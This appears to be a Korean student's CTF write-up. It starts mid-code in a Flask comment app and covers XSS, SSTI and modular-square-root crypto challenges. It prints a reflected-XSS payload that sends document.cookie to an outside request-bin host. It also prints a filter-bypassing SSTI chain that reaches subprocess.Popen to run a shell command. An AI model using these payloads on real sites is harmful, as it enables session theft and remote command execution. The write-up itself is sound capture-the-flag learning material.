<b>Name:<b><br>
<textarea name="name" cols="40" rows="3" autofocus required wrap="hard" placeholder="Name..."></textarea><br>
<b>Your comment:<b><br>
<textarea name="comment" cols="40" rows="10" autofocus required wrap="hard" placeholder="Comment..."></textarea><br><hr>
<input type="submit" value="Submit" style="width:100px;height:50px;">
</form>
''')
elif request.method == "POST":
name = request.form["name"]
comment = request.form["comment"]
for filter_char in ['<', '>', 'script', 'on']:
if filter_char in name:
return "no hack"
for filter_char in ['<', '>', 'script', 'on']:
if filter_char in comment:
return "no hack"
encoded_name = base64.b64encode(name.encode('utf-8')).decode('utf-8')
encoded_comment = base64.b64encode(comment.encode('utf-8')).decode('utf-8')
execute(f'INSERT OR IGNORE INTO comments (name, comment) VALUES (?, ?)', (encoded_name, encoded_comment))
return redirect('/view?encoded_name='+encoded_name)
@app.route('/view', methods=["GET"])
def view():
encoded_name = request.args.get("encoded_name", "")
try:
encoded_comment = execute(f'SELECT * FROM comments WHERE name=?', (encoded_name,))[0][1]
except:
encoded_comment = ""
return render_template_string('''
<h1>View comment<h1>
<hr>
<h2>Name:</h2>
<p id="name"></p>
<h2>Comment:</h2>
<p id="comment"></p>
<script>
var name = "{{ encoded_name }}";
var comment = "{{ encoded_comment }}";
name = atob(name);
comment = atob(comment);
document.getElementById("name").innerHTML = name;
document.getElementById("comment").innerHTML = comment;
</script>
''', encoded_name=encoded_name, encoded_comment=encoded_comment)
@app.route('/send_admin', methods=["GET", "POST"])
def send_admin():
if request.method == "GET":
return render_template_string('''
<h1>Send admin</h1>
<hr>
<p>If you submit url, the admin checks it.</p>
<form action="/send_admin" method="POST">
<input type="text" name="url" placeholder="http:// or https://">
<input type="submit">
</form>
''')
elif request.method == "POST":
url = request.form['url']
if url.startswith("http://") or url.startswith("https://"):
result = admin_bot(url)
if (result):
return "Admin will visit your URL."
else:
return "admin bot error"
else:
return "scheme error!"
def init():
execute('''
DROP TABLE IF EXISTS comments;
''', ())
execute('''
CREATE TABLE IF NOT EXISTS comments (
name TEXT PRIMARY KEY,
comment TEXT
);
''', ())
init()
app.run(host="0.0.0.0", port=30002)
comment를 통한 stored xss는 답이 없었다. <을 헥스나 lt 등으로 우회하여 봤지만, base64encode에서 아예 다른 값으로 변하기에 불가능했다.
고심을 하던 중 view 함수 부분이 눈에 들어왔다.
나는 db에 없는 name이라면 출력도 안될 것이라 생각하였다. 하지만 "이게 뭐람?" name에 해당하는 comment가 없으면 name만 출력하는 것이다.
여기서 Reflected XSS가 될 것을 직감하였다. 이렇게 img 태그를 이용하여 특정 사진을 첨부할 수 있었다.
<img src="x" onerror="location.href='https://ccqmxfj.request.dreamhack.games/?'+document.cookie"></img>
이걸 넘겨주면 된다.
구글 번역기의 파이썬 라이브러리를 이용하여 번역한다.
from flask import (
Flask,
request,
render_template,
render_template_string,
escape,
)
import requests
import googletrans
import os
#flag in ./flag.txt
app = Flask(__name__)
app.secret_key = os.urandom(32)
translator = googletrans.Translator()
@app.route("/")
def index():
return render_template_string('''
<h1>Page Translator v0.1</h1>
<hr>
<h2><I>We translate the website!</I></h2>
<form action="/trans" method="GET">
url:
<input type="text" name="url" value="http://example.com"><br>
dest: <br>
<input type="radio" name="dest" value="ko" checked> ko<br>
<input type="radio" name="dest" value="en"> en<br>
<input type="radio" name="dest" value="ja"> ja<br>
<input type="radio" name="dest" value="fr"> fr<br><br>
<input type="submit" value="Submit">
</form>
''')
@app.route("/trans", methods=["GET"])
def trans():
url = request.args.get('url', 'http://example.com')
dest = request.args.get('dest', 'ko')
try:
res = requests.get(url)
result = translator.translate(str(res.text), dest=dest)
return render_template_string(str(result.text.replace(" ", "").replace("_", "").replace(".", "")))
except Exception as e:
return "Error: " + escape(e)
app.run('0.0.0.0', port=31002)
처음에는 단일 웹페이지를 만들었을 때 XSS가 터져 XSS인 줄 알았다. 하지만 마땅히 js로 서버의 파일을 열 수도 없었기에 할 게 없었다. 그러던 중 render_template_string이 보였고, 이는 ssti로 이어지게 된다.
ssti를 확인하기 위해 {{ 7*7 }}을 단일 페이지에 입력하고 돌려보자.
http://kro.kr 을 사용하였다.
(사진처럼 7*7이 중괄호랑 떨어져있으면 안된다. 필터링에서 걸린다. 참고용 뿐이다.) ssti가 터짐을 확인했다. 이제 키워드들을 bypass 하며 진행해보자.
{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()}}
먼저 위를 넣어보자
__class__.__mro__.__subclasses__()이다.
이런 수많은 것들이 나오는데
{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(200)}}
적당히 노가다를 하면 200번째 원소가 Popen인 것을 확인할 수 있다.
{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(200)('cat\x20flag\x2Etxt',shell=True,stdout=-1)|attr('communicate')()}}
최종적으로 이렇게 입력해주면 문제는 해결된다.
cat과 flag 사이에 공백 인코딩을 해줬었다.
e = 0x10001
p = 956139498107180202924713903601509196957024239560640879205750040582168709052882535239968933814401558708353690643930196183147344966583390369722337011895806728687039561240228658489247037457601486732330268832640282386107367792827603559220197594166132578773391038061852995543298660346614824111957129487621073381420601818102696941436896113760845996867134942409781289607646245967328635192751915132263343401613503579430095875304385929548482534069621394375689897131992853601556872452936924582213444961565936485734943823090436502436569906276234375129542193257193532117867119356703913127034371672608473331023229247566188051307081608926298717656789661636096186520403259125131889590691505566272415285815020785707304940007075291791960348625230702561924797326588897616426012731055476104910167580455514395503954357222446464034812380573504065434113801448358551847220118122396183833444689357113994323397102654053386526193994536747790584369925815864101217224753342120410734184661280317244999932025995887452192659676575492658028439029759073694056131690430403564538828871182381814164026169619179918184906849044053902847028272860263561174666946359687167316732301786172432171125495179082967346314231075364210598080101986053002862262485926225787009625766043
c = 198884167752338457136361738612668175570561195923299982824942151070686854258462104833805021930125686251546289007994747711468575062569025649720451158483579258897574806556650971300217846142821339378624298554894452925450784984941811534003655821584627987738744629265042101281971292795068404734534835017214980442330505071883090053113646061048373161938067556053905090119594575677450219308507720423897678888587942427985225232587717516818010516700734988374059013239435816379601012127017691515876428781750525171792098312919319338474073740637087485136790656007041738339972062769447099991268587720700458159275592559373915172018249236210710298633402896108591541911015505507548829914848540943707234164311988152044436588300876721260030721604004916867952457717464293986062097712631087296792021685728147411645743136756079583003213118842321339914346536606124636594264729832448865565692032690957874168523054151112599140312984695999703295355298416123368818047742554224105878315226463563472557817400022645292375005172746018924595271703130064670127620886829933080138689154865812344971787488386991858930495828039056819589382856546842572364454911306588996592832089711860390062807516291007987299469169743871425404449635714806233464151028190079151720638993819188217372053576563826237808879316012212264653991925655635424655288459939497831519139541942536521616351172763861676195543189201901727711561512585970670820016008766963156973704691713074109998449443863058048325541623149892095123593373143789575052782484610440896482684230481961704618341848076092877708357934323491821014189662006037707804779019710481794855269539489650173179554416870323250428758331772223887709919220636032524615105837393466381569289948211228466862858963196327631138692987808649303280722422757100057729065385424515479456905271836780841799973381905802734144415626700320847303624036714951467687121585455618915223092106555991113701151252737545924789126794273984813001906926796054182236737821345554980528112106714356339717134282873730967205087013988976986991588846269339209713733525712002023223351041866700959953793625513139128215717970133027238411721710957311553661663574745314398952014625364542558278644855043333744448102987576103864736604151203945349918191413284952777058361989929146765400055694094335557540400263771891921975700750654321496771746338215916352922100581443824304103677547209221135159721399277569428574585122670250043462075240912597688828608992927825886351868441807227526021496829691984252391040730138760323362
문제는 이런 상황이다.
p와 q는 4096비트 소수이다.
사실 RsaCtfTool을 사용하면 바로 풀린다.
죄송합니다 죄송합니다
from Crypto.Util.number import *
import math
flag = open('flag.txt', 'rb').read().strip()
p = getPrime(1024)
e = 1024
c = pow(bytes_to_long(flag), e, p)
print(f'p = {p}')
print(f'c = {c}')
# p = 154702975169616147685640335993246775331794374315536363818464568927772316837569442282703850768897183574656468562859623983657928944642099886962205893883550846574134813707705633037744901784019699803759332893267316338717359156898914306681188577567693549070661326861230315467142390984206498127325348605972356905741
# c = 20651735589906114025115013500619209211387464653546823370042690037655230107750852448232780155755588601814616263445079581639670108116966685841059896122096998860923317137920880731828766223632422939035383065435023879298048659963880307633331167239439541564610534427850068859927141034897065363210501804994357190443
Tonelli-Shanks Algorithm에 관한 문제이다.
https://www.google.com/search?q=find+square+root+by+modulo+p
이렇게 검색하고 찾게되었다.
from Crypto.Util.number import long_to_bytes
def modular_sqrt(a, p):
def legendre_symbol(a, p):
""" Compute the Legendre symbol a|p using
Euler's criterion. p is a prime, a is
relatively prime to p (if p divides
a, then a|p = 0)
Returns 1 if a has a square root modulo
p, -1 otherwise.
"""
ls = pow(a, (p - 1) // 2, p)
return -1 if ls == p - 1 else ls
""" Find a quadratic residue (mod p) of 'a'. p
must be an odd prime.
Solve the congruence of the form:
x^2 = a (mod p)
And returns x. Note that p - x is also a root.
0 is returned is no square root exists for
these a and p.
The Tonelli-Shanks algorithm is used (except
for some simple cases in which the solution
is known from an identity). This algorithm
runs in polynomial time (unless the
generalized Riemann hypothesis is false).
"""
# Simple cases
#
if legendre_symbol(a, p) != 1:
return 0
elif a == 0:
return 0
elif p == 2:
return p
elif p % 4 == 3:
return pow(a, (p + 1) // 4, p)
# Partition p-1 to s * 2^e for an odd s (i.e.
# reduce all the powers of 2 from p-1)
#
s = p - 1
e = 0
while s % 2 == 0:
s //= 2
e += 1
# Find some 'n' with a legendre symbol n|p = -1.
# Shouldn't take long.
#
n = 2
while legendre_symbol(n, p) != -1:
n += 1
# Here be dragons!
# Read the paper "Square roots from 1; 24, 51,
# 10 to Dan Shanks" by Ezra Brown for more
# information
#
# x is a guess of the square root that gets better
# with each iteration.
# b is the "fudge factor" - by how much we're off
# with the guess. The invariant x^2 = ab (mod p)
# is maintained throughout the loop.
# g is used for successive powers of n to update
# both a and b
# r is the exponent - decreases with each update
#
x = pow(a, (s + 1) // 2, p)
b = pow(a, s, p)
g = pow(n, s, p)
r = e
while True:
t = b
m = 0
for m in range(r):
if t == 1:
break
t = pow(t, 2, p)
if m == 0:
return x
gs = pow(g, 2 ** (r - m - 1), p)
g = (gs * gs) % p
x = (x * gs) % p
b = (b * g) % p
r = m
p = 154702975169616147685640335993246775331794374315536363818464568927772316837569442282703850768897183574656468562859623983657928944642099886962205893883550846574134813707705633037744901784019699803759332893267316338717359156898914306681188577567693549070661326861230315467142390984206498127325348605972356905741
c = 20651735589906114025115013500619209211387464653546823370042690037655230107750852448232780155755588601814616263445079581639670108116966685841059896122096998860923317137920880731828766223632422939035383065435023879298048659963880307633331167239439541564610534427850068859927141034897065363210501804994357190443
for i in range(0, 10):
imsi = modular_sqrt(c, p)
c = imsi
print(imsi)
최종 c = 154702975169616147685640335993246775331794374315536363818464568927772316837569442282703850768897183574656468562859623983657928944642099886962205893883550846574134813707705633037744901784019699803759332274258502198819489219979960009144309416635599385210741193064966675336588495171730559761508186515202090095248로 나오게 된다. 하지만 해당 값은 flag가 아니고, p-c를 한 값이 flag가 된다.(사실 나머지가 같기 때문이다)
리버싱은 항상 처음 보기에는 어려워보이지만, 막상 끊기있게 도전해야 함을 느낀다. 이번에 그러지 못했던 것이 후회가 된다. 리버싱을 하며 인내를 기르도록 하자.
암호 문제가 적었던 것이 아쉽긴 했다. 웹은 확실히 1학기 pwnable처럼 세미나가 없어서 그랬는지 SQLi도 없었고, 그냥 쉬웠던 것 같다. (Trick to Trip 문제를 잘못 이해하고 있었다 😂)